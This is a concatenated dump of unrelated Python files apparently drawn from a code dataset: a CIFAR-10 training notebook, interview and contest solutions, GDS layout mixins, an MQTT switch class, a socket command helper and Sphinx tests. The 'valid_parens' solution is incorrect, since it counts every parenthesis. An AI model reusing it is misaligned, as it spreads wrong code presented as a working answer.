Autoreload all modules')\n\n\n# In[4]:\n\n\n# def printgpuinfo():\n# gpu_info = get_ipython().getoutput('nvidia-smi')\n# gpu_info = '\\n'.join(gpu_info)\n# if gpu_info.find('failed') >= 0:\n# print('Select the Runtime → \"Change runtime type\" menu to enable a GPU accelerator, ')\n# print('and then re-execute this cell.')\n# else:\n# print(gpu_info)\n#\n# printgpuinfo()\n\n\n# In[5]:\n\n\n# def showsysteminfo():\n# from psutil import virtual_memory\n# ram_gb = virtual_memory().total / 1e9\n# ram_gb_avail = virtual_memory().available / 1e9\n# ram_gb_used = virtual_memory().active / 1e9\n# print('Your runtime has {:.1f} gigabytes of available RAM\\n'.format(ram_gb))\n# print('Your runtime has {:.1f} gigabytes of free RAM\\n'.format(ram_gb_avail))\n# print('Your runtime has {:.1f} gigabytes of used RAM\\n'.format(ram_gb_used))\n# showsysteminfo()\n\n\n# In[6]:\n\n\nimport torch\n\nprint(torch.__version__)\n\n# In[7]:\n\n\nbatch_size = 512\n# compose_train, compose_test = preprochelper.PreprocHelper.getalbumentationstraintesttransforms(cifar_mean,cifar_std)\ntrain_transforms, test_transforms = preprochelper.PreprocHelper.getpytorchtransforms((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))\nds = dst.Dataset()\ntrain_dataset = ds.gettraindataset(train_transforms)\ntest_dataset = ds.gettestdataset(test_transforms)\n\n# train_dataset = ds.gettraindataset(compose_train)\n# test_dataset = ds.gettestdataset(compose_test)\n\ndataloader = dl.Cifar10Dataloader(traindataset=train_dataset, testdataset=test_dataset, batch_size=batch_size)\ntrain_loader = dataloader.gettraindataloader()\ntest_loader = dataloader.gettestdataloader()\n\n# specify the image classes\nclasses = ds.getclassesinCIFAR10dataset()\ndataiterator = iter(train_loader)\nplotdata.PlotData.showImagesfromdataset(dataiterator, classes=classes)\n\n# In[8]:\n\n\ncnn_model, device = utils.Utils.createA11CustomResnetModel()\ntrain_model = train.TrainModel()\ntrain_model.showmodelsummary(cnn_model)\n\n# In[6]:\n\n\noptimizer = utils.Utils.createoptimizer(cnn_model, lr=0.08, momentum=0.9, weight_decay=0, nesterov=True)\ncriterion = torch.nn.CrossEntropyLoss()\n\n# In[13]:\n\n\nlr_finder = LRFinder(cnn_model, optimizer, criterion, device=\"cuda\")\nlr_finder.range_test(train_loader, start_lr=0.0001, end_lr=1, num_iter=1000, step_mode=\"exp\")\nlr_finder.plot()\n\n# In[14]:\n\n\nlr_finder.reset()\n\n# In[15]:\n\n\nlr_finder.range_test(train_loader, val_loader=test_loader, start_lr=0.0001, end_lr=1, num_iter=200, step_mode=\"exp\")\n\n# In[16]:\n\n\nlr_finder.plot(skip_end=0)\n\n# In[17]:\n\n\nlr_finder.reset()\n\n# In[18]:\n\n\noptimizer = utils.Utils.createoptimizer(cnn_model, lr=0.08, momentum=0.9, weight_decay=0, nesterov=True)\nscheduler = utils.Utils.createscheduler(optimizer, mode='max', factor=0.9, patience=2,\n verbose=True)\n\n# In[19]:\n\n\nlr_data = []\nclass_correct = list(0. for i in range(10))\nclass_total = list(0. for i in range(10))\nepochs = 100\nfor epoch in range(1, epochs + 1):\n print(\"EPOCH:\", epoch)\n train_model.train(cnn_model, device, train_loader, optimizer, 1)\n t_acc_epoch = train_model.test(model=cnn_model, device=device, test_loader=test_loader, class_correct=class_correct,\n class_total=class_total, epoch=epoch, lr_data=lr_data)\n scheduler.step(t_acc_epoch)\n for param_groups in optimizer.param_groups:\n print(\"Learning rate =\", param_groups['lr'], \" for epoch: \", epoch + 1) # print LR for different epochs\n lr_data.append(param_groups['lr'])\n\n# In[20]:\n\n\ntrain_losses, train_acc = train_model.gettraindata()\ntest_losses, test_acc = train_model.gettestdata()\nutils.Utils.savemodel(model=cnn_model, epoch=epochs, path=\"savedmodels/finalmodelwithdata.pt\",\n optimizer_state_dict=optimizer.state_dict\n , train_losses=train_losses, train_acc=train_acc, test_acc=test_acc,\n test_losses=test_losses, lr_data=lr_data, class_correct=class_correct, class_total=class_total)\n\n# In[1]:\n\n\nimport src.utils.utils as utils\nimport src.preprocessing.albumentationstransforms as preprocessing\n\npreproc = preprocessing.AlbumentaionsTransforms()\nimport glob\nfrom PIL import Image\nfrom src.utils.modelutils import *\nimport src.visualization.plotdata as plotdata\nimport src.dataset.dataset as dst\nimport src.dataset.dataloader as dl\nimport src.preprocessing.customcompose as customcompose\nimport src.train.train_model as train\nimport torch\nfrom torch.utils.tensorboard import SummaryWriter\nimport torchvision\n\nget_ipython().run_line_magic('load_ext', 'tensorboard')\n\n# In[ ]:\n\n\nprint(torch.cuda.is_available())\nsaved_data, epoch, model_state_dict, optimizer_state_dict, train_losses, train_acc, test_losses, test_acc, test_losses, lr_data, class_correct, class_total = utils.Utils.loadmodel(\n path=\"savedmodels/finalmodelwithdata.pt\")\n\n# In[ ]:\n\n\nmodel, device = utils.Utils.createmodelresnet18(model_state_dict=model_state_dict)\n\n# In[ ]:\n\n\nmean = [0.5, 0.5, 0.5]\nstd = [0.5, 0.5, 0.5]\npreproc = preprocessing.AlbumentaionsTransforms()\ntrain_transforms = preproc.gettraintransforms(mean, std)\ntest_transforms = preproc.gettesttransforms(mean, std)\ncompose_train = customcompose.CustomCompose(train_transforms)\ncompose_test = customcompose.CustomCompose(test_transforms)\n\nds = dst.Dataset()\ntrain_dataset = ds.gettraindataset(compose_train)\ntest_dataset = ds.gettestdataset(compose_test)\n\nbatch_size = 128\ndataloader = dl.Cifar10Dataloader(traindataset=train_dataset, testdataset=test_dataset, batch_size=batch_size)\ntest_loader = dataloader.gettestdataloader()\ntrain_loader = dataloader.gettraindataloader()\n\n# obtain one batch of test images\ndataiterator = iter(test_loader)\n# specify the image classes\nclasses = ds.getclassesinCIFAR10dataset()\n\n# In[5]:\n\n\nclassified, misclassified = train.TrainModel.getinferredimagesfromdataset(dataiterator=dataiterator, model=model,\n classes=classes, batch_size=batch_size,\n number=25)\n\n# In[19]:\n\n\nprint(\"Gradcam of misclassified images for Layer 34, Conv2d, Output Shape = 8\")\n\nplotdata.PlotData.plotinferredimagesfromdataset(misclassified, model, device, classes, \"misclassifed\"\n , size=(15, 20), layerNo=34)\n\n# In[22]:\n\n\nprint(\"Gradcam of correct classified images for Layer 34, Conv2d, Output Shape = 8\")\n\nplotdata.PlotData.plotinferredimagesfromdataset(classified, model, device, classes, \"correct\"\n , size=(15, 20), layerNo=34)\n\n# In[7]:\n\n\nutils.Utils.showaccuracyacrossclasses(class_correct=class_correct, class_total=class_total)\n\n# In[8]:\n\n\nplotdata.PlotData.plottesttraingraph(train_losses=train_losses, train_acc=train_acc, test_losses=test_losses,\n test_acc=test_acc, lr_data=lr_data, plotonsamegraph=True, epochs=epoch,\n doProcessArray=False)\n\n# In[9]:\n\n\n# from src.utils.modelutils import subplot\nimage_paths = glob.glob('./images/testimages/*.*')\nimages = list(map(lambda x: Image.open(x), image_paths))\nsubplot(images, title='inputs', nrows=2, ncols=5)\n\n# In[10]:\n\n\ninputs = [torchvision.transforms.Compose([torchvision.transforms.Resize((32, 32)), torchvision.transforms.ToTensor(),\n torchvision.transforms.Normalize(mean=(0.5, 0.5, 0.5), std=(0.5, 0.5, 0.5))])(\n x).unsqueeze(0) for x in images] # add 1 dim for batch\ninputs = [i.to(device) for i in inputs]\n\n# In[21]:\n\n\n# specify the image classes\nclasses = ['airplane', 'automobile', 'bird', 'cat', 'deer',\n 'dog', 'frog', 'horse', 'ship', 'truck']\n\nprint(\"Gradcam of external images for Layer 34, Conv2d, Output Shape = 8\")\nloc = 0\nfor input in inputs:\n dict = {loc: input}\n plotdata.PlotData.plotinferredimagesfromdataset(dict, model, device, classes, \"external\"\n , size=(15, 20), layerNo=34)\n loc += 1\n\n# In[5]:\n\n\nimages, labels = next(iter(train_loader))\n\n# In[6]:\n\n\nmodel, device = utils.Utils.createmodelresnet18(model_state_dict=model_state_dict)\nimages, labels = images.to(device), labels.to(device)\ngrid = torchvision.utils.make_grid(images)\n\n# In[7]:\n\n\nepochs = epoch\n\n# In[8]:\n\n\nwriter = SummaryWriter(\"ReduceLR_Resnet18_albumentation_A10\")\nwriter.add_image('images', grid, 0)\nwriter.add_graph(model, images)\n\n# In[9]:\n\n\nprint(epochs)\nfor epoch in range(0, epochs):\n writer.add_scalars('Loss', {'Train': train_losses[epoch], 'Test': test_losses[epoch], }, epoch + 1)\n writer.add_scalars('Accuracy', {'Train': train_acc[epoch], 'Test': test_acc[epoch], }, epoch + 1)\n writer.add_scalar('LR', lr_data[epoch], epoch + 1)\n writer.add_histogram('Test Accuracy distribution', test_acc[epoch], epoch + 1)\n writer.add_histogram('Test Loss distribution', test_losses[epoch], epoch + 1)\n writer.add_histogram('Train Accuracy distribution', train_acc[epoch], epoch + 1)\n writer.add_histogram('Train Loss distribution', train_losses[epoch], epoch + 1)\n\nwriter.close()\n\n# In[10]:\n\n\n# tensorboard - -logdir = ReduceLR_Resnet18_albumentation_A10\n\n# In[32]:\n\n\n# torch.cuda.empty_cache()\n\n# test_dataset = None\n# train_dataset = None\n# test_loader = None\n# train_loader = None\n\n# import gc\n# gc.collect()\n\n\n# In[ ]:\n","sub_path":"A11/A11.py","file_name":"A11.py","file_ext":"py","file_size_in_byte":10031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"645832899","text":"\"\"\"\n11/21/2019\n\nGood morning! Here's your coding interview problem for today.\n\nThis problem was asked by Google.\n\nGiven a string of parentheses, write a function to compute the minimum number \nof parentheses to be removed to make the string valid (i.e. each open \nparenthesis is eventually closed).\n\nFor example, \ngiven the string \"()())()\", you should return 1. \nGiven the string \")(\", you should return 2, since we must remove all of them.\n\"\"\"\n\n\ndef valid_parens(s):\n num_open = 0\n num_closed = 0\n for x in s:\n if x == \"(\":\n num_open += 1\n else:\n num_closed += 1\n return num_closed + num_open\n","sub_path":"medium/nov_21_2019.py","file_name":"nov_21_2019.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"277109316","text":"#!/usr/bin/python3\n\nimport numpy as np\n\nimport smurf_setup\nfrom smurf_setup.util.smurftune import SmurfTune\nimport smurf_setup.stage.dummystage as exstage\n\n# set up a tuning object using the config file\ntestTune = SmurfTune(cfg_file = \"smurf_setup/experiment.cfg\")\nprint(\"tuning object created!\\n\")\n\n# make the output directories for the tuning object\ntestTune.make_dirs()\n\ncurrent_stage = exstage.DummyStage(testTune)\n\nprint(\"filename for stage output: \" + current_stage.filename[1] + \"\\n\")\n\ncurrent_stage.prepare()\n\ncurrent_stage.run()\n\nprint(\"create some fake data and save it...\\n\")\nx = np.random.random((10,2))\ncurrent_stage.write(x, fileheader=\"fake dataset\")\n\ncurrent_stage.analyze()\n\ncurrent_stage.clean()\n\n","sub_path":"software/CryoDetCmbHcd/python/stage_example.py","file_name":"stage_example.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"649712633","text":"S=input()\nT=input()\nng = 0\nds = {}\ndt = {}\nfor i in range(len(S)):\n if S[i] in ds:\n if ds[S[i]] != T[i]:\n ng = 1\n break;\n else:\n ds[S[i]] = T[i]\n if T[i] in dt:\n if dt[T[i]] != S[i]:\n ng = 1\n break;\n else:\n dt[T[i]] = S[i]\n\nif ng == 0:\n print(\"Yes\")\nelse:\n print(\"No\")\n\n","sub_path":"ABC109/C.py","file_name":"C.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"13390841","text":"\"\"\"\nGiven a string, find the first non-repeating character in it and return it's index.\nIf it doesn't exist, return -1.\n\nExamples:\ns = \"leetcode\"\nreturn 0.\n\ns = \"loveleetcode\",\nreturn 2.\n\nNote: You may assume the string contain only lowercase letters.\n\"\"\"\nfrom collections import OrderedDict\nclass Solution(object):\n def firstUniqChar(self, s):\n \"\"\"\n :type s: str\n :rtype: int\n \"\"\"\n dict = OrderedDict()\n for char in s:\n if char not in dict:\n dict[char] = 1\n else:\n dict[char] += 1\n\n # print(dict)\n for key, val in dict.items():\n if val == 1:\n return s.find(key)\n\n return -1\n\n # Check which 26 char appear one time in s\n # return to lowest index\n def firstUniqChar2(self, s):\n letters = 'abcdefghijklmnopqrstuvwxyz'\n lst = [s.index(l) for l in letters if s.count(l) == 1]\n if len(lst) > 0:\n return min(lst)\n else:\n return -1\n\ns = \"leetcode\"\nprint(Solution().firstUniqChar2(s))","sub_path":"387FirstUniqChar.py","file_name":"387FirstUniqChar.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"34232652","text":"def quick_sort(a):\n\tif len(a) < 2:\n\t\treturn(a)\n\tpivot = a[-1]\n\ta = a[:-1]\n\tleft = []\n\tright = []\n\tleft = [x for x in a if x <= pivot]\n\tright = [x for x in a if x > pivot]\n\tleft = quick_sort(left)\n\tleft.append(pivot)\n\tright = quick_sort(right)\n\treturn(left + right)\n\nf = open('names.txt', 'r')\nnames = f.read()\nnames = names.replace('\"', '')\nnames = names.split(',')\n\nsorted_names = quick_sort(names)\n# print(result)\n\nalphabet = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']\nalphabet\nscores = [0]\nfor name in sorted_names:\n\tscore = 0\n\tfor letter in name:\n\t\tscore += alphabet.index(letter) + 1\n\tscores.append(score*len(scores))\n\nprint(sum(scores))\n","sub_path":"problem22/names.py","file_name":"names.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"135590657","text":"import gdspy\nimport spira\nimport numpy as np\nfrom copy import deepcopy\nfrom spira.core.lists import ElementList\n\n\nclass __Properties__(object):\n\n @property\n def xmax(self):\n return self.bbox[1][0]\n\n @property\n def ymax(self):\n return self.bbox[1][1]\n\n @property\n def xmin(self):\n return self.bbox[0][0]\n\n @property\n def ymin(self):\n return self.bbox[0][1]\n\n @property\n def center(self):\n return np.sum(self.bbox, 0)/2\n \n @center.setter\n def center(self, destination):\n self.move(destination=destination, midpoint=self.center)\n\n\nclass CellMixin(__Properties__):\n\n def __wrapper__(self, c, c2dmap):\n for e in c.elementals.flat_elems():\n G = c2dmap[c]\n if isinstance(e, spira.SRef):\n G.add(gdspy.CellReference(\n ref_cell=c2dmap[e.ref],\n midpoint=e.midpoint,\n rotation=e.rotation,\n magnification=e.magnification,\n x_reflection=e.reflection)\n )\n\n def construct_gdspy_tree(self, glib):\n d = self.dependencies()\n c2dmap = {}\n for c in d:\n G = c.commit_to_gdspy()\n c2dmap.update({c:G})\n for c in d:\n self.__wrapper__(c, c2dmap)\n if c.name not in glib.cell_dict.keys():\n glib.add(c2dmap[c])\n for p in self.get_ports():\n p.commit_to_gdspy(cell=c2dmap[self])\n return c2dmap[self]\n\n @property\n def bbox(self):\n glib = gdspy.GdsLibrary(name=self.name)\n cell = deepcopy(self)\n cell = self.construct_gdspy_tree(glib)\n bbox = cell.get_bounding_box()\n if bbox is None:\n bbox = ((0,0),(0,0))\n return np.array(bbox)\n\n @property\n def terms(self):\n from spira.gdsii.elemental.term import Term\n terms = ElementList()\n for p in self.ports:\n if isinstance(p, Term):\n terms += p\n return terms\n\n @property\n def term_ports(self):\n from spira.gdsii.elemental.term import Term\n terms = {}\n for p in self.ports:\n if isinstance(p, Term):\n terms[p.name] = p\n return terms\n\n @property\n def center(self):\n c = np.sum(self.bbox, 0)/2\n c = np.around(c, decimals=0)\n # c = np.around(c, decimals=3)\n return c\n\n @center.setter\n def center(self, destination):\n self.move(destination=destination, midpoint=self.center)\n\n\nclass PolygonMixin(__Properties__):\n\n @property\n def points(self):\n return self.shape.points\n\n @property\n def ply_area(self):\n ply = gdspy.PolygonSet(self.shape.points)\n return ply.area()\n\n @property\n def bbox(self):\n # self.polygons = self.points\n bb = self.get_bounding_box()\n assert len(bb) == 2\n return bb\n\n","sub_path":"spira/core/mixin/property.py","file_name":"property.py","file_ext":"py","file_size_in_byte":2937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"519789047","text":"import json\nimport time\nfrom datetime import datetime\nfrom sensors import sensor\nfrom logger import logger\nimport logging\n\nlogger = logging.getLogger(__name__)\nswitch_config_topic = \"homeassistant/switch/tydom/{id}/config\"\nswitch_state_topic = \"switch/tydom/{id}/state\"\nswitch_attributes_topic = \"switch/tydom/{id}/attributes\"\nswitch_command_topic = \"switch/tydom/{id}/set_levelCmdGate\"\nswitch_level_topic = \"switch/tydom/{id}/current_level\"\nswitch_set_level_topic = \"switch/tydom/{id}/set_levelGate\"\n\n\nclass Switch:\n def __init__(self, tydom_attributes, set_level=None, mqtt=None):\n self.attributes = tydom_attributes\n self.device_id = self.attributes['device_id']\n self.endpoint_id = self.attributes['endpoint_id']\n self.id = self.attributes['id']\n self.name = self.attributes['switch_name']\n\n try:\n self.current_level = self.attributes['level']\n except Exception as e:\n logger.error(e)\n self.current_level = None\n self.set_level = set_level\n\n # try:\n # self.current_state = self.attributes['state']\n # except Exception as e:\n # logger.error(e)\n # self.current_state = 'On'\n self.mqtt = mqtt\n\n async def setup(self):\n # availability:\n # - topic: \"home/bedroom/switch1/available\"\n\n self.device = {}\n self.device['manufacturer'] = 'Delta Dore'\n self.device['model'] = 'Porte'\n self.device['name'] = self.name\n self.device['identifiers'] = self.id\n\n self.config_topic = switch_config_topic.format(id=self.id)\n self.config = {}\n self.config['name'] = self.name\n self.config['unique_id'] = self.id\n # self.config['attributes'] = self.attributes\n self.config['command_topic'] = switch_command_topic.format(id=self.id)\n self.config['state_topic'] = switch_state_topic.format(id=self.id)\n self.config['json_attributes_topic'] = switch_attributes_topic.format(\n id=self.id)\n\n self.config['payload_on'] = \"TOGGLE\"\n self.config['payload_off'] = \"TOGGLE\"\n #self.config['optimistic'] = 'false'\n self.config['retain'] = 'false'\n self.config['device'] = self.device\n # logger.debug(self.config)\n\n if (self.mqtt is not None):\n self.mqtt.mqtt_client.publish(\n self.config_topic, json.dumps(\n self.config), qos=0)\n # setup_pub = '(self.config_topic, json.dumps(self.config), qos=0)'\n # return(setup_pub)\n\n async def update(self):\n await self.setup()\n\n try:\n await self.update_sensors()\n except Exception as e:\n logger.error(\"Switch sensors Error :\")\n logger.error(e)\n\n self.level_topic = switch_state_topic.format(\n id=self.id, current_level=self.current_level)\n\n if (self.mqtt is not None):\n self.mqtt.mqtt_client.publish(\n self.level_topic,\n self.current_level,\n qos=0,\n retain=True) # Switch State\n self.mqtt.mqtt_client.publish(\n self.config['json_attributes_topic'], self.attributes, qos=0)\n logger.info(\n \"Switch created / updated : %s %s %s\",\n self.name,\n self.id,\n self.current_level)\n\n # update_pub = '(self.position_topic, self.current_position, qos=0, retain=True)'\n # return(update_pub)\n\n async def update_sensors(self):\n # logger.info('test sensors !')\n for i, j in self.attributes.items():\n # sensor_name = \"tydom_alarm_sensor_\"+i\n # logger.debug(\"name %s elem_name %s attributes_topic_from_device %s mqtt %s\", sensor_name, i, self.config['json_attributes_topic'], self.mqtt)\n if not i == 'device_type' or not i == 'id':\n new_sensor = None\n new_sensor = sensor(\n elem_name=i,\n tydom_attributes_payload=self.attributes,\n attributes_topic_from_device=self.config['json_attributes_topic'],\n mqtt=self.mqtt)\n await new_sensor.update()\n # def __init__(self, name, elem_name, tydom_attributes_payload,\n # attributes_topic_from_device, mqtt=None):\n\n @staticmethod\n async def put_level_gate(tydom_client, device_id, switch_id, level):\n logger.info(\"%s %s %s\", switch_id, 'level', level)\n if not (level == ''):\n await tydom_client.put_devices_data(device_id, switch_id, 'level', level)\n\n @staticmethod\n async def put_level_cmd_gate(tydom_client, device_id, switch_id, level_cmd):\n logger.info(\"%s %s %s\", switch_id, 'levelCmd', level_cmd)\n if not (level_cmd == ''):\n await tydom_client.put_devices_data(device_id, switch_id, 'levelCmd', level_cmd)\n","sub_path":"app/switch.py","file_name":"switch.py","file_ext":"py","file_size_in_byte":4892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"275145221","text":"\"\"\"\n@Time:2018/2/24 9:42\n@Author:xuzhongyou\n\"\"\"\n# 3455. Huge Numbers (Small)\n# Time limit per test: 2.0 seconds\n#\n# Memory limit: 256 megabytes\n#\n# Professor Shekhu has another problem for Akki today. He has given him three positive integers A, N and P and wants him to calculate the remainder when AN! is divided by P. As usual, N! denotes the product of the first N positive integers.\n#\n# Input\n# The first line of the input gives the number of test cases, T. T lines follow. Each line contains three integers A, N and P, as described above.\n#\n# Limits: 1≤T≤100.\n# Small dataset: 1≤A≤10,1≤N≤10,1≤P≤10.\n# Large dataset: 1≤A≤105,1≤N≤105,1≤P≤105.\n# Output\n# For each test case, output one line containing Case #x: y, where x is the test case number (starting from 1) and y is the answer.\n#\n# Examples\n# input\n# 2\n# 2 1 2\n# 3 3 2\n# output\n# Case #1: 0\n# Case #2: 1\n# Note\n# In Sample Case #1, the answer is the remainder when 21!=2 is divided by 2, which is 0.\n#\n# In Sample Case #2, the answer is the remainder when 33!=36=729 is divided by 2, which is 1.\n\n#这种网上的解法,可以解决求阶乘问题\ndef g(A, N, P):\n A = A % P\n ans = A\n for i in range(1, N+1):\n ans **= i\n ans = ans % P\n return ans\n\nT = int(input())\nfor i in range(1, T+1):\n A, N, P = map(int, input().split())\n print(\"Case #%d: %d\" % (i, g(A, N, P)))\n\n# def process(n,m,k):\n# temp = 1\n# for i in range(2,m+1):\n# temp*=i\n# result = n**temp\n# res= 1\n# for i in range(result):\n# res = (res*n)%k\n# return res\n#\n# if __name__ == '__main__':\n# T = int(input())\n# for i in range(T):\n# inputs = [int(item) for item in input().split(' ')]\n# result = process(inputs[0],inputs[1],inputs[2])\n# print('Case #%d:'%(i+1),result)\n\n\n\n\n","sub_path":"3.数学问题/2018.0224.math/3455. Huge Numbers (Small).py","file_name":"3455. Huge Numbers (Small).py","file_ext":"py","file_size_in_byte":1827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"632144719","text":"import socket\nimport select\nfrom time import sleep\n\n\ndef send_cmd(host, port, cmd):\n print(\"[INTERCON] {} -> {}:{}\".format(cmd, host, port))\n conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n conn.connect((host, port))\n output = __run_command(conn, cmd)\n __close_connection(conn)\n return output\n\n\ndef __run_command(conn, cmd):\n cmd = str.encode(cmd)\n conn.send(cmd)\n data = __receive_data(conn)\n if data == '\\0':\n print('intercon conn exiting...')\n __close_connection(conn)\n return None\n return data\n\n\ndef __close_connection(conn):\n __run_command(conn, \"exit\")\n conn.close()\n\n\ndef __receive_data(conn, wait_before_msg=0.4):\n data = \"\"\n prompt_postfix = ' $'\n data_list = []\n if select.select([conn], [], [], 1)[0]:\n while True:\n sleep(wait_before_msg)\n last_data = conn.recv(512).decode('utf-8')\n data += last_data\n # Msg reply wait criteria (get the prompt back or special cases)\n if len(data.split('\\n')) > 1 or '[configure]' in data:\n # wait for all msg in non-interactive mode until expected msg or prompt return\n if prompt_postfix in data.split('\\n')[-1] or \"Bye!\" in last_data:\n break\n # Split raw data list\n full_prompt = \"{}{}\".format(data.split(prompt_postfix.strip())[0].strip(), prompt_postfix)\n data = data.replace(full_prompt, '').strip()\n data_list = data.split('\\n')\n return data_list\n\n","sub_path":"micrOS/InterConnect.py","file_name":"InterConnect.py","file_ext":"py","file_size_in_byte":1523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"366704461","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path('replay', views.replay, name='replay'),\n path('launch', views.launch, name='launch'),\n path('query_payoff', views.query_payoff, name='query_payoff'),\n path('query_game', views.query_game, name='query_game'),\n path('upload_agent', views.upload_agent, name='upload_agent'),\n path('delete_agent', views.delete_agent, name='delete_agent'),\n path('list_agents', views.list_agents, name='list_agents'),\n ]\n","sub_path":"server/tournament/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"320012975","text":"'''\nExample of loading a large shapefile of polygons and simplifying\nthe polygons for a faster map.\n'''\nfrom os import path\nfrom collections import Counter\nfrom pygmaps_ng import Map, App, DataSet\nfrom pygmaps_ng.color_gen import int2rgb, hex2rgb, gradient\nfrom django.contrib.gis.gdal import DataSource,SpatialReference,CoordTransform\nfrom brewer2mpl.brewer2mpl import get_map\n\nzoning = {'Single Family':{}, 'Multi Family': {'low density':['MF-1','MF-2'],'medium density':['MF-3','MF-4'],'high density':['MF-5','MF-6']},'Commercial': {'office':['GO','LO','NO'],'business':['LR','GR','CS','CS-1','CH'],'central':['CBD'],'DT mixed use':['DMU']},'Industrial':{'major':['MI'],'limited':['LI']}} \n\nfor x in range(5):\n sf = 'SF-%s'%(x+2)\n zoning['Single Family'][sf] = [sf]\n\ndef sanitize_id(string):\n '''make a string suitable for a css class name'''\n pieces = ['']\n for s in string.split('-'):\n for x in s.split(' '):\n pieces.append(x)\n return 'x'.join(pieces)\n\ndef zoning_dict2map(zones,translated_geoms):\n threshold = .00000005 #choose this by trial and error, or inspecting VWSimplifier.ordered_thresholds of an example polygon\n mymap = Map()\n n = len(zoning.keys())\n n = 3 if n<3 else n\n colors = get_map('Dark2','Qualitative',n).hex_colors.__iter__()\n print(\"building datasets\")\n for appname,datasets in zoning.items():\n appcolor = colors.next()\n thisapp = App(sanitize_id(appname),title=appname)\n mymap.apps.append(thisapp)\n num_datasets = len(datasets)+3 #don't go to gradient.end\n datacoloriter = gradient(num_datasets,\n start=hex2rgb(appcolor))\n for dataname,zone_fields in sorted(datasets.items()):\n color = datacoloriter.next()\n dset = DataSet(sanitize_id(dataname),title=dataname,\n latlon=False,key_color=color,precision=9)\n thisapp.datasets.append(dset)\n for i,z in enumerate(zones):\n for target in zone_fields:\n if target in z:\n geom = translated_geoms[i]\n if geom.geom_name == 'POLYGON':\n dset.add_polygon([geom.tuple],\n threshold=threshold,fillColor=color,\n strokeColor=color)\n elif geom.geom_name == 'MULTIPOLYGON':\n dset.add_polygon(geom.tuple,\n threshold=threshold,fillColor=color,\n strokeColor=color)\n print(\"building map\")\n mymap.build_page(zoom=13)\n\nif __name__ == '__main__':\n\n #I split a lot in loops, so this is faster apparently\n split = unicode.split\n\n #import shpfile\n f = path.abspath('./gis_data/zoning.shp')\n try:\n d = DataSource(f)\n except NameError:\n print('''\n This demo requires GIS data from the city of Austin, TX.\n Download it from:\n ftp://ftp.ci.austin.tx.us/GIS-Data/Regional/zoning/zoning.zip\n and unzip it to ./gis_data/''')\n layer = d[0]\n\n #Don't know how to sort through the zone names except to group them based on name\n zones = layer.get_fields('ZONING_ZTY')\n geoms = layer.get_geoms()\n\n #translate all geoms to (lon,lat)\n _world_spatref = SpatialReference('WGS84')\n coord_transform = CoordTransform(geoms[0].srs,_world_spatref)\n for geom in geoms:\n geom.transform(coord_transform)\n\n zoning_dict2map(zones,geoms)\n \n","sub_path":"Examples/gis_polygons/austin_zoning.py","file_name":"austin_zoning.py","file_ext":"py","file_size_in_byte":3428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"481328617","text":"import unittest\n\nimport pytest\nfrom sphinx import version_info\n\nfrom .util import build_output, sphinx_build\n\n\nclass LanguageIntegrationTests(unittest.TestCase):\n\n def _run_test(self, test_dir, test_file, test_string, builder='html', assert_in=True):\n with build_output(test_dir, test_file, builder) as data:\n if not isinstance(test_string, list):\n test_strings = [test_string]\n else:\n test_strings = test_string\n for string in test_strings:\n if assert_in:\n self.assertIn(string, data)\n else:\n self.assertNotIn(string, data)\n\n\nclass IntegrationTests(LanguageIntegrationTests):\n\n def test_integration(self):\n self._run_test(\n 'pyexample',\n '_build/html/index.html',\n 'Hey there friend!',\n builder='html',\n )\n\n def test_media_integration(self):\n self._run_test(\n 'pyexample',\n '_build/html/index.html',\n 'assets.readthedocs.org',\n builder='html',\n )\n\n def test_included_js(self):\n self._run_test(\n 'pyexample',\n '_build/html/index.html',\n ['readthedocs-analytics.js', 'readthedocs-doc-embed.js'],\n builder='html',\n )\n\n def test_included_data(self):\n self._run_test(\n 'pyexample',\n '_build/html/index.html',\n 'id=\"READTHEDOCS_DATA\"',\n builder='html',\n )\n\n def test_searchtools_is_patched(self):\n with build_output('pyexample', '_build/html/_static/searchtools.js',\n builder='html') as data:\n self.assertNotIn('Search.init();', data)\n self.assertIn('Search initialization removed for Read the Docs', data)\n\n def test_generate_json_artifacts(self):\n self._run_test(\n 'pyexample-json',\n '_build/json/index.fjson',\n [\n 'current_page_name', 'title', 'body',\n 'toc', 'sourcename', 'page_source_suffix',\n ],\n )\n\n def test_generate_json_domain_artifacts(self):\n self._run_test(\n 'pyexample-json',\n '_build/json/readthedocs-sphinx-domain-names.json',\n [\n # types\n '\"js:class\": \"class\"',\n # pages\n '\"index.html\": \"index\"',\n # paths\n '\"index.html\": \"index.rst\"',\n # titles\n '\"index.html\": \"Welcome to pyexample',\n ],\n )\n\n def test_escape_js_vars(self):\n with build_output('pyexample', '_build/html/escape\\' this js.html',\n builder='html') as data:\n self.assertNotIn('escape \\' this js', data)\n self.assertIn('escape\\\\u0027 this js', data)\n\n with build_output('pyexample', '_build/html/index.html', builder='html') as data:\n self.assertNotIn(\"malic''ious\", data)\n 